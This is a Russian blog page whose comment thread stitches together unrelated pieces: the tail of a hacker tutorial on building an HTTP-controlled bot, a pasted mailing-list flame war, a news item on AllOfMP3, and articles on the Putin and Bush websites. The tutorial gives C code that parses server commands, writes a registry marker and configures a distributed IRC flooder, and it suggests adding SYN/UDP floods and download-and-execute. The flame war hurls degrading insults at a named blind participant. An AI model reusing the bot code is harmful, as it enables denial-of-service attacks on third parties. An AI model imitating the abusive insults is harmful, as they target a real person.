{temp = (char*)&recvbuffer[i] + 4;break;}
}
if(strcmp(temp,"")==0) { temp = "no_commands"; }
token = strtok(temp, " \r\n"); // делим файл на слова

char *serv,*chan,*times,*freq,*msg;
char *port;

Вот теперь, внимание! Помнишь тот самый echo "done" в php-скрипте? Это нам понадобится для того, чтобы проверить реально ли добавился бот в базу. Например, если сервер упал :) При получении строки "done" бот создает ключ в реестре, по которому в дальнейшем ориентируется добавляться в базу или нет.

if(strcmp(token,"done")==0)
{
HKEY hk; RegCreateKey(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows Media\\WMSDTT", &hk);
}

А вот пример парсинга с получением семи параметров для некой функции ircflood - она есть в исходнике к статье, грубо говоря это распределенный флудер IRC-серверов. Вот парсинг:

else if(strcmp(token,"ircflood")==0)
{
for (int i = 0; i <6; i++){
token = strtok(NULL, " \r\n");
if (i==0) { serv = token; } // получаем 1ый параметр (сервер)
if (i==1) { port = token; } // получаем 2ый параметр (порт)
if (i==2) { chan = token; } // получаем 4ый параметр (канал)
if (i==3) { times = token; } // получаем 5ый параметр (кол-во коннектов)
if (i==4) { freq = token; } // получаем 6ый параметр (частоту отсыла)
if (i==5) { msg = token; } // получаем 7ой параметр (мессагу)
}

Вот и все. Готово. Никто не мешает тебе добавить новые функции, такие как флуд HTTP/ICMP/UDP/SYN пакетами или скачку и запуск любого EXE-файла.

Заключение

В этой статье мы очень подробно разобрали управление по HTTP и архитектуру "клиент-сервер". Готовые реализации с сорсами ты найдешь в файлах к статье. В общем, если было что-то непонятно:

Читай первую часть статьи.
Разбирись с WinSock2 API и смотри файлы к статье.
Пиши мне на мыло и учись юзать google.
На сегодня хватит. Все свободны :)

д-р_АГОН 08-10-2006-10:39 удалить
вот то письмо из - за которого разразился скандал, но ведь я просто
выразила своё мнение.

привет, рассылка!
хотелось бы порассуждать на тему взаимоотношения людей с дефектом зрения.
в последнее время я понимаю, что от слепых мне стоит держаться как можно
дальше, хотя я и сама тотально слепая. я думаю, что все прекрасно
понимают, что слепые всегда друг другу завидуют, без сплетен жить не могут,
готовы сожрать того у кого что - то плучается, и это похоже на
психические отлонения. конечно же есть исключения из правил и то среди тех
слепых, которые стараются общаться в зрячем мире.
только слабовидящие могут так друг друга унижать, приведу пример из жизни:
ездила в Пятигорский санаторий, познакомилась с двумя парнями из санкт -
петербурга Андрей - у которого 1 - ая группа, которому путёвку - то и
дали и саша - 2- ая группа, которого Андрей взял сопровождающим, для того
чтобы Саша просто отдохнул, а вместо "спасибо" Саша всегда говорил такую
фразу: "я у тебя сопровождающим работаю", я не понимаю, как такое можно
другу сказать, это значит, что слепые не могут дружить, и говорил это при
любом удобном
случае, например перед тем как поставить чайник и т.д., хотя Андрей и сам
самостоятельный и видел несмотря на 1 - ую группу довольно неплохо. вот
если б мне так сказали, я бы сама нашла денег и купила такому как Саша
обратный билет.
а вот я, например, ездила со зрячими подругами на теплоходе работать и мне
тоже нужна была сопровождающая, так подруга мне "спасибо" сказала, и ещё
денег заработаных не взяла.
мне кажется, что уже давно пора разогнать эти ненужные и бестолковые
общества слепых, потому что они всё равно ничего не делают, только сидят и
кости друг другу перемывают.
на моём горьком опыте я убедилась, что даже встречаться с парнем из
слепецкого общества не стоит, вообще слепые это самый гнилой народ, а если
и есть среди них хорошие люди, то этого никто не ценит, слепце не могут друг
за друга радоваться.
поэтому, я думаю, что пора отписываться из всех этих рассылок, а всем вам
хочу посоветовать задуматься о своём отношении друг к другу.
evridika-2006@yandex.ru
д-р_АГОН 08-10-2006-11:09 удалить
Заранее прошу прощения у подписчиков и модераторов. Это письмо -
однозначно нарушение правил, но написать его заставила меня
критическая ситуация в рассылке Интеграция, спровоцированная
подписчиком Эвридика.

Итак, для тех, кто не в курсе. 7 октября модератор рассылки объявил о
роспуске наблюдательного совета и установке рассылки на общую
премодерацию. Иначе, как переворотом, это наглое безобразие и
самоуправство назвать нельзя. Вот именно по этому я и пишу в этот
лист, так как этот ужас по имени эвридика появился и здесь и, ещё
неизвестно, как отреагируют на неё здешние модераторы.

Итак: Начинается всё с того, что оная девушка пишет в лист письмо на
тему менталитета слепых и оно вызывает бурную реакцию. В этом письме
это чудо природы выливает тонны грязи на слепых и изъявляет желание
отписаться ото всех рассылок. Как она от них отписалась, все видят.
Вот краткая история начала всех конфликтов. Ну а теперь мои
измышления, которые и могут быть восприняты, как нарушение правил.

Обращение к присвятой эвридике

Здравствуйте, дитя природы! Как ваше здоровье? головонька не болит?
совесть не мучает, нет? Хотя, о чём я, вы с с вашей совестью живёте в
разных городах. Да что там в городах, думаю, на разных планетах. Вы
хоть понимаете, создание природы, что по вашей милости в рассылке
случился самый натуральный переворот! Вы хоть понимаете, что на пару с
вашим любимым К.А. затеяли в рассылке полный беспредел? Есть ли у вас
мозги, чтобы это понять! Вы хоть понимаете, что из-за вашего флейма
внутри клуба, да и вообще, в блайнднете начнутся разборки? ЧТо вы
творите! Благодаря вам интеграция уже тотально премодерируется! что
вам ещё то надо, красавица? неучто больше некуда выплеснуть вашу
скандалёзность и мерзопакостность. Я поражаюсь над вашим упорством.
Вы, честное слово, как баран. Хотя, почему, как! баран он и есть
баран, а ещё осёл, который, кроме, как "Иа" ничего сказать больше и не
может. Вот это вы, эвридика, это я о вас.

У меня складывается такое впечатление, что вы своими флеймами хотите
перессорить весь блайнднет. Вот, не понимаю, зачем вам оно? ВОзможно,
прекрасная половина листа сможет объяснить ваш поступок с точки зрения
женской логики, хотя, думаю, даже женщинам это сделать будет весьма
трудно.

Хотя я теперь понимаю того мальчика из питера, про которого вы так
распространялись в интегр, я удивляюсь, как он не сбежал прямо с этого
парохода, или, на чём вы там плавали, или ходили. Да, честь и хвала
этому мальчику зато, что он смог выдержать ошибку природы по имени
Эвридика! Хотя, не по имени, а, выражаясь терминологией вашего
любимого К.А. кликуха! Вот, дама с кликухой эвридика теперь и тут
появилась. Надо думать, что в остальных листах её просто забанили, а
тут, поскольку правила не так строги, она ещё живёт. Что же вы,
дитятя, в калейдоскоп то не пишете? Ответить? А потому что, схлапотали
от модера после первого же письма и попали на премодерацию! А больше и
писать то вам не куда, остальные листы технические, и вас там
быстренько укатают. Есть, конечно, либтаун, но и там, думаю, долго вам
не жить, так как там люди творческие и подобного беспредела и
охренизма с вашей стороны непотерпят. Вобщем, милая, вы настолько всё
засрали (простите остальные пожалуйста( что пахнет уже на всю сеть!

Вобщем, дальше продолжать разговор с этой гнилью и падалью по погонялу
эвридика я не намерен. Согласен с плюсом, даже с премодерацией мне
согласен, но простите, гниль она гнилью и останется, как бы её не
назвали. Гниль и воняющая разлагающаяся падоль! и падаль так и
останется падалью, пока её по кускам не растащат стервятники. Вы,
эвридика - гниль и падаль, вы развалили лист, с вашей подачи произошёл
переворот, я не хочу больше с вами разговаривать, я не хочу больше о
вас слышать, я не хочу больше тратить на гниль своё время и время
подписчиков.

В заключение, приведу ответ эвридике в интеграцию, который не
пропустил наш любимый К.А. ещё раз извините, уважаемые подписчики!
===
Приветствую всех!

Прошу прощения у подписчиков и модерирующей группы, что приходится
отвечать на это письмо. В прошлом своём письме я писал, что это - моё
последнее письмо по сабжу, но половецкие пляски нашей милой эвридики
просто вынудили меня написать кое-что ещё по данной теме. Ещё раз
извините, постораюсь не нарушить отмосферу доброжелательности!

эвридика, В своём письме от: суббота, 7 октября 2006 г., 23:18:50 вы
писали:

э> отстранение Константина Лапшина от модерирования это несправедливо!!!

Милое дитя, при подписке на лист Интеграция вам дожны были прийти его
правила. Очень рекомендую вам с ними ознакомиться, прежде чем
разжигать в рассылке новый флейм, теперь уже на другую тему.

э> я не
э> понимаю, в чём его вина! объяясните мне, пожалуйста!


А вы у кого спрашиваете? Милое дитя, К.А. отстранил от модерации
наблюдательный совет, так отправьте письмо туда, тем более, что Олег
Шевкун, опубликовавший решение НС вовсе не прячет своего адреса. За
чем же опять в лист то, милое дитя, ну объясните мне, болезному,
зачем?!!! Вы же прекрасно понимаете, что решение НС принято и вы не
можете его изменить. Так чего же воздух то сотрясать? Ну, понимаю,
пофлеймить хочется, но надо и меру знать, в конце то концов!
Уважаемая, хватит портить воздух, тут и так уже начинает пахнуть.

э> а также я считаю себя не виноватой в том, что произошёл такой скандал,
э> никто не заставлял людей отвечать или как - то реагировать на моё
э> письмо,


Теперь принесу заранее извинения всем дамам, которые есть в листе и
сразу оговорюсь, что нижеследуещее к ним не имеет никакого отношения.
Итак, эвридика, на случай, если вы невнимательно читаете письма,
цитирую ваши строки ещё раз.

э> а также я считаю себя не виноватой в том, что произошёл такой скандал,
э> никто не заставлял людей отвечать или как - то реагировать на моё
э> письмо,

А теперь так: будьте добры, милое дитя, ответьте мне, пожалуйста,
зачем тогда было это писать? Хотелось громко пукнуть? Так эта рассылка
- не самое лучшее для этого место. Это официальная рассылка клуба, а
не флеймлист. Если вы так любите флеймить, рекомендуювам подписаться
на другое детище константина Лапшина - слепой беспредел. Правда,
К.А. там зарегался, как slepak, так сказать, кликуха (пользуюсь
выражениями К.А. из прошлого мне письма), хотя вот меня упрекал в
использовании ника. Ну ладно, к.а. крут, ему всё можно. Итак, о слепом
беспределе. Для подписки отправьте, милое дитя любое, даже пустое
письмо на адрес:

mailto:culture.people.blindunlimited-sub@subscribe.ru

В ответ вам придёт письмо с с просьбой подтвердить подписку. В том
листе больше 60 подписчиков, так что пофлеймить будет с кем. Только
учтите, там разрешено ругаться матом, так что, если вас там пошлют
куда-нибудь, маме потом не жалуйтесь!

И в заключение ещё раз приношу извинения всем подписчикам. Хочется
надеяться, что ваш флеймерский талант, эвридика, найдёт себе выход.
Будьте здоровы, пейте активированный уголь!

До свидания.

--
Со всем почтением:
Desperation
desperation@ukr.net
д-р_АГОН 08-10-2006-12:28 удалить
Это интересно : Власти США обвинили AllOfMP3.com в грабеже американцев




По словам представителя американской торговой палаты Сьюзан Шваб (Susan Schwab), Россия не сможет стать членом Всемирной торговой организации до тех пор, пока на ее территории существует сайт, столь явно нарушающий законы о защите интеллектуальной собственности. Под "явно нарушающим" законы сайтом подразумевается AllOfMP3.com, один из самых популярных музыкальных магазинов в Сети.

Закрытие сайта AllOfMP3.com было названо ключевым условием для вступления России в ВТО в июне 2006 года. Работающий в соответствии с нормами законодательства РФ сайт пользуется лицензией организации по коллективному управлению правами правообладателей и продает цифровой контент без непосредственного разрешения некоторых владельцев интеллектуальной собственности.

По словам представителей AllOfMP3.com, к сентябрю 2006 года, то есть, к моменту вступления в силу поправки к закону "Об авторском праве и смежных правах", сайт постарался напрямую достичь соглашения со всеми правообладателями о ценах и размерах авторских отчислений. При этом сайт отрицает факт ведения незаконной коммерческой деятельности.

Очередной раунд переговоров между президентами США и России по затянувшемуся на 13 лет процессу вступления РФ в ВТО состоится в середине октября 2006 года.
Схимник
д-р_АГОН 08-10-2006-12:29 удалить
После скачивания программы Михаил Фленов "Delphi глазами хакера" настоятельно рекомендуется проверить её антивирусом. Файлы, которые вы загружаете никем не проверены и вы скачиваете их на свой страх и риск. Некоторые программы, которые вы можете найти на сайте, могут определяться антивирусами как hack tools (хакерская программа). Такие программы не наносят вреда вашему компьютеру, однако, стоит учитывать, что в некоторых случаях их использование может попасть под 272-273 статью УК РФ.
novyi_sirius 11-10-2006-23:36 удалить
Неэмоционнально. Пусто
Если это испытание на терпимость, то я его не прошел...
Компьютеры...
Такой глупый мир.
д-р_АГОН 01-11-2006-10:49 удалить
WARNING

Помни: весь материал в статьях представлен для ознакомления. Ни в коем случае не используй его в противозаконных целях!
д-р_АГОН 09-11-2006-10:49 удалить
А вот случай с интернет-изданием "Курсив", главный редактор которого опубликовал в мае 2006 года статью под названием "Путин как фаллический символ России", уже больше похож на ущемление свободы слова. Правда, как и в случае с грузинским туроператором, инициаторами разбирательства с журналистами (и последующего закрытия сайта издания) стали правоохранительные органы, в частности - Ивановская прокуратура. Против главреда "Курсива" было заведено уголовное дело по статье 319 УК РФ ("Оскорбление представителя власти"), в итоге журналиста приговорили к штрафу в размере 20 тысяч рублей.

Что связывает Путина и два упомянутых случая закрытия интернет-сайтов, кроме того, что о президенте России шла речь в статье "Курсива"? Ничего - Путин никак не отреагировал ни на первый, ни на второй инцидент - вполне понятное и предсказуемое поведение. И получается, что во всем виноваты наши правоохранительные органы, которые не стремятся выполнить пожелание президента двухлетней давности. А жаль.

Хождение в народ
Помимо частоты упоминания интернета в своих высказываниях, Путин обошел Буша еще по одному показателю - президент России, в отличие от главы Белого дома, записал в свой актив целых две интернет-конференции. И если первая интернет- конференция Путина еще как-то отражала интересы пользователей Сети, то вторую "интернет-" конференцией назвать можно с натяжкой.

Хотя иллюзия того, что Путин взаправду будет отвечать на наиболее насущные вопросы обитателей Рунета, оставалась до последнего момента.

В итоге организованный "Яндексом" совместно с британской BBC сеанс общения Путина с пользователями Сети вылился в самую обычную телеконференцию (интерес к которым у россиян, кстати, год от года падает). Вопросы президенту задавались по известному только ведущим телеканала Russia Today (в эфире которого и велась конференция) принципу, самые популярные в Рунете вопросы вообще не были заданы, а преимущество отдавалось либо вопросам с BBC, либо не набравшим и сотни голосов. Это при том, что самые популярные вопросы набирали по несколько тысяч голосов.

Правда, напоследок ведущие решили добавить ведерко меда в бочку со стандартными вопросами Путину и спросили президента, зачем тот поцеловал мальчика в живот. Самые популярные из несерьезных вопросов Рунета Путину по непонятной причине задали только после конференции. Путин, действительно, высказался про Ктулху и человекоподобных роботов, только узнали об этом читатели интернет-изданий, а не те, кто следил за выступлением президента. Ни про отношение к медведу, ни про Крым, ни про ксенофобию Путина не спросили. А это были три самых популярных вопроса.

Так что полноценного "хождения в народ" у Путина не получилось. Но спасибо за попытку. Кстати, на следующий день из-за неправильного перевода слова "медвед" западные информационные агентства посчитали, что Путину не задали самый главный вопрос - о кандидатуре Дмитрия Медведева на пост следующего президента РФ. Это в достаточной степени скрасило разочарование от второй интернет- конференции Путина.

Хомяк Путина
Официальный сайт президента РФ значительно моложе whitehouse.gov - ему всего 4 года. Интернет- представительства президентов России и США также отличаются по количеству хакерских атак и посещаемости - по этим показателям kremlin.ru значительно отстает от whitehouse.gov. Например, за месяц kremlin.ru отражает атаки дневной "порции" хакеров, пытающихся взломать whitehouse.gov.

Несмотря на то, что хакерам пока что ни разу не удалось сделать "дифейс" домашней страницы Путина, с интернет-представительствами президента РФ иногда случались неприятности. То, что не удалось хакерам, получилось, по некоторым данным, у неисправного маршрутизатора в сети ФСБ: по причине поломки последнего в начале сентября 2006 года на протяжении 40 минут не работали сайты kremlin.ru и все сайты в зоне gov.ru.

Но, пожалуй, самым известным и скандальным случаем является инцидент, произошедший в начале 2005 года, когда по недосмотру команды президента открытый в 2000 году сайт, посвященный агитации за Путина на президентских выборах того же года, putin2000.ru, оказался под контролем онлайн- сутенеров. Те попросту выкупили домен, продление регистрации которого владельцы сайта забыли вовремя оплатить. В результате некоторое время по адресу putin2000.ru посетителям предлагалось воспользоваться услугами питерских... проституток. Сайт закрыли только после того, как сведения об этом появились на страницах интернет-изданий.
д-р_АГОН 09-11-2006-10:51 удалить
И если с первым законом, казалось бы, все ясно - в конце концов, в разных странах вопросы регулирования игорного бизнеса решаются по-своему (как, например, недавние случаи закрытия вполне настоящих казино в России), то к законодательной инициативе, призывающей к защите представительниц прекрасного пола, стоит присмотреться тщательнее.

За нас это уже, правда, сделали - корреспондент Cnet, не поленившийся ознакомиться с полным текстом подписанного Бушем закона, заметил в документе пункт, согласно которому пользователям сети запрещается "досаждать" друг другу и при этом не раскрывать своего настоящего имени.

То есть формально, любой пользователь сети может наябедничать на человека, который под вымышленными именем оскорбил его, например, на каком-нибудь форуме. И, как показала практика, за подобные действия можно поплатиться внушительной суммой - в октябре 2006 года одну пользовательницу Сети приговорили к штрафу в размере 11,3 миллиона долларов за оскорбления на интернет-форуме.

Хомяк Буша

Официальный сайт президента США считается одним из самых защищенных от хакеров в мире. И это неудивительно - каждый день специалистам из Белого дома приходится отражать тысячи хакерских атак - по этому показателю whitehouse.gov существенно опережает следующего за ним в рейтинге самых часто атакуемых сайтов microsoft.com. Последний раз хакерам удалось успешно взломать защиту сайта Белого дома 5 лет назад - в 2001 году. С тех пор ни одна из атак на "домашнюю страницу" Джорджа Буша не увенчалась успехом.

Что касается самого имени "whitehouse", то успехи американцев в борьбе с киберсквоттерами (лицами, занимающимися захватом привлекательных имен в разных доменных зонах) не столь хороши. Так, на сайте WHITEHOUSE.ORG можно обнаружить массу антипрезидентских материалов, а на главной странице проекта - найти ссылки, например, на магазин, торгующий сатирическими (и зачастую похабными) плакатами с изображениями американских политиков.

Дизайн веб-сайта президента США, открывшегося на заре становления интернета в 1994 году еще во время президентства Билла Клинтона, менялся за время своего существования несколько раз. На первый вариант whitehouse.gov можно посмотреть по ЭТОМУ АДРЕСУ , на второй - ПО ЭТОМУ. Третий вариант дизайна whitehouse.gov был предложен командой следующего президента США, Джорджа Буша - копии этого сайта в архивах, правда, пока нет - надо дождаться отставки 43 президента Америки. Можно лишь посмотреть на СКРИНШОТЫ САЙТА. Примечательно, что эта версия сайта привела к конфузу: из-за массы ошибок в HTML чуть ли не большая часть разделов работала некорректно. Ситуацию исправили лишь спустя несколько месяцев.


Комментарии (12): вверх^

Вы сейчас не можете прокомментировать это сообщение.

Дневник мРять | д-р_АГОН - снореАЛ | Лента друзей д-р_АГОН / Полная версия Добавить в друзья Страницы: раньше»